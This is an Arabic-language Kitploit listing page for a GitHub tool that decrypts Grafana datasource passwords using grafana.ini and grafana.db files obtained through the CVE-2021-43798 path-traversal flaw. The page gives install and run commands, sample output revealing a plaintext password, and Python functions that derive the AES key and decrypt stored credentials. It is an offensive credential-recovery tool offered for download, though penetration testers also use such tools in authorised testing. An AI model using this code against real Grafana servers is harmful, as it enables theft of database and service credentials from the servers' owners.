Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Grafana-Decryptor-for-CVE-2021-43798 — يفك تشفير كلمات مرور مصادر بيانات Grafana من خلال استغلال ثغرة CVE-2021-43798 لتجاوز المسار (directory traversal) لاسترجاع ملفات الإعدادات واشتقاق مفاتيح التشفير. | Kitploit
أدوات/GitHubGitHub/sic4rio/grafana-decryptor-for-cve-2021-43798
كسر كلمات المرورأدوات التشفير/فك التشفيرتحليل الثغرات الأمنيةالاستغلالأمن الويباختبار الاختراق
GitHubsic4rio/grafana-decryptor-for-cve-2021-43798

Grafana-Decryptor-for-CVE-2021-43798

يفك تشفير كلمات مرور مصادر بيانات Grafana من خلال استغلال ثغرة CVE-2021-43798 لتجاوز المسار (directory traversal) لاسترجاع ملفات الإعدادات واشتقاق مفاتيح التشفير.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
853منذ سنة واحدةلم تتم المراجعة بعد

أداة فك تشفير Grafana لـ CVE-2021-43798

هذا السكربت يفك تشفير كلمات مرور مصدر البيانات (DataSource) من نسخة Grafana المعرضة للثغرة CVE-2021-43798، والتي تسمح بقراءة الملفات التعسفية دون تصريح.

الوصف

إصدارات Grafana من 8.0.0-beta1 حتى 8.3.0 معرضة لثغرة اجتياز الدلائل (directory traversal) التي تسمح للمستخدمين غير المصرح لهم بقراءة الملفات التعسفية على الخادم. يستغل هذا السكربت هذه الثغرة لفك تشفير كلمات مرور مصدر البيانات الموجودة في ملف grafana.db باستخدام secret_key الموجود في ملف الإعداد grafana.ini.

المتطلبات

  • Python 3.6+
  • مكتبات Python التالية:
    • requests
    • questionary
    • termcolor
    • cryptography

التثبيت

  1. استنسخ المستودع أو حمّل السكربت.
  2. ثبّت مكتبات Python المطلوبة:
    root@kitploit:~
    pip install requests questionary termcolor cryptography
    

الاستخدام

  1. تأكد من أن لديك ملفي grafana.db و grafana.ini من نسخة Grafana المستهدفة.
  2. شغّل السكربت لفك تشفير كلمات مرور مصدر البيانات.

مثال: الحصول على كلمة مرور مصدر البيانات

root@kitploit:~
python decrypt.py

مثال: تشفير كلمة مرور نصية واضحة

يمكنك أيضًا ترميز كلمة مرور نصية واضحة باستخدام السكربت عبر إلغاء تعليق الكود المثال داخل السكربت.

تفاصيل السكربت

اشتقاق خوارزمية التشفير

يحدد السكربت خوارزمية التشفير المستخدمة عبر تحليل الحمولة (payload). خوارزمية التشفير الافتراضية هي aes-cfb.

فك تشفير كلمة المرور

باستخدام خوارزمية التشفير المشتقة و secret_key من grafana.ini، يفك السكربت تشفير كلمة مرور مصدر البيانات.

تشفير كلمة مرور

يتضمن السكربت أيضًا وظيفة لتشفير كلمة مرور نصية واضحة باستخدام نفس طريقة التشفير و secret_key.

مثال على المخرجات

root@kitploit:~
######################################
         GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
            SICARI0
######################################

? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==

[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd

دوال فك التشفير والتشفير

root@kitploit:~
def decrypt_gcm(block, payload):
    gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
    return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()

def decrypt_cfb(block, payload):
    if len(payload) < 16:
        raise ValueError("Payload too short")
    
    iv = payload[SALT_LENGTH:SALT_LENGTH+16]
    payload = payload[SALT_LENGTH+16:]
    decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
    return decryptor.update(payload) + decryptor.finalize()

def encryption_key_to_bytes(secret, salt):
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt,
        iterations=10000,
        backend=default_backend()
    )
    return kdf.derive(secret.encode())

def decrypt(payload, secret):
    alg, payload = derive_encryption_algorithm(payload)
    
    if len(payload) < SALT_LENGTH:
        raise ValueError("Unable to compute salt")
    
    salt = payload[:SALT_LENGTH]
    key = encryption_key_to_bytes(secret, salt)
    
    block = algorithms.AES(key)
    
    if alg == AES_GCM:
        return decrypt_gcm(key, payload)
    else:
        return decrypt_cfb(key, payload)

def encrypt(payload, secret):
    salt = os.urandom(SALT_LENGTH)
    key = encryption_key_to_bytes(secret, salt)
    block = algorithms.AES(key)
    
    iv = os.urandom(16)
    encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
    encrypted = encryptor.update(payload) + encryptor.finalize()
    
    return salt + iv + encrypted

تقوم هذه الدوال بمعالجة عمليات فك التشفير والتشفير.

المساهمة

لا تتردد في فتح مشكلات (issues) أو طلبات سحب (pull requests) إذا وجدت أي أخطاء أو كانت لديك اقتراحات للتحسين.

الترخيص

هذا المشروع مرخص بموجب رخصة MIT. راجع ملف LICENSE للحصول على التفاصيل.

تنزيل الأداة